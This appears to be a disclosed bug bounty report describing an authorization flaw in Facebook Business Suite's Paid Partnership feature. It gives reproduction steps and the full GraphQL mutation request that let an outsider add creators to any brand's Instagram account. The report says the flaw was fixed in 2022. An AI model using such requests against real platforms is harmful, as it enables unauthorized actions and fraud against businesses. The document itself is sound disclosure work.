Business Suite (Paid Partnership) - Add Creator to Any Instagram Account
Authorization flaw allowed adding arbitrary creators to a brand's Paid Partnership on Instagram via GraphQL mutation.
Business Suite (Paid Partnership) - Add Creator to Any Instagram Account
🧾 Description
An attacker could manage Paid Partnerships for any business‑linked Instagram account by adding arbitrary creators through a GraphQL mutation.
The attacker only needed:
- The brand Instagram ID (
brand_ig_fbid) - The creator Instagram ID (
creator_ig_fbid) - Their own business access token (not belonging to the target Business)
Impact: Unauthorized brand–creator linking invites could be sent on behalf of the target Business, enabling abuse of branded content ads, fraud, or reputational harm.
⚙️ Steps to Reproduce
Users:
- UserA — Admin of BusinessA (
business_id = AAA), connected to Instagram (brand_ig_fbid = XXX) - UserB — Attacker (not a member of BusinessA)
Preconditions: BusinessA is linked to a professional Instagram account.
- Recon: UserB learns the target Instagram Brand ID (
{XXX}) and the desired Creator IG ID ({ID_creator}). - Access Token: UserB goes to
https://business.facebook.com/settings/?business_id={ID_business}and captures their own business/adnroid access token from network traffic. - Graph API Explorer: Visit
https://developers.facebook.com/tools/explorer/and configure a POST GraphQL request. - Submit Mutation:
📤 Request
1
2
3
4
5
6
7
8
POST /graphql HTTP/1.1
Host: graph.facebook.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: close
&doc_id=5822628081097871&variables={"input": {"client_mutation_id": "9","actor_id": "0","brand_ig_fbid": "{XXX}","business_id": "{AAA}","creator_ig_fbid": "{ID_creator}"}}
✅ Response (example)
1
2
3
4
5
6
7
8
9
{
"data": {
"xfb_create_creator_ad_permissions": {
"proxy": { "id": "ID" },
"branded_content_ads_permission": { "id": "ID" }
}
},
"extensions": { "is_final": true }
}
- Verification: UserA opens
https://business.facebook.com/latest/settings/business_paid_partnerships?business_id={AAA}
→ Sees an invitation has been created to the specified creator by UserB.
🧱 Expected Behavior
Only authorized admins of the target BusinessA should be able to add creators to its Paid Partnership settings for the linked Instagram brand.
Timeline
- Reported: August 15, 2022
- Triaged: August 17, 2022
- Fixed: August 20, 2022
- Reward: August 22, 2022
This post is licensed under CC BY 4.0 by the author.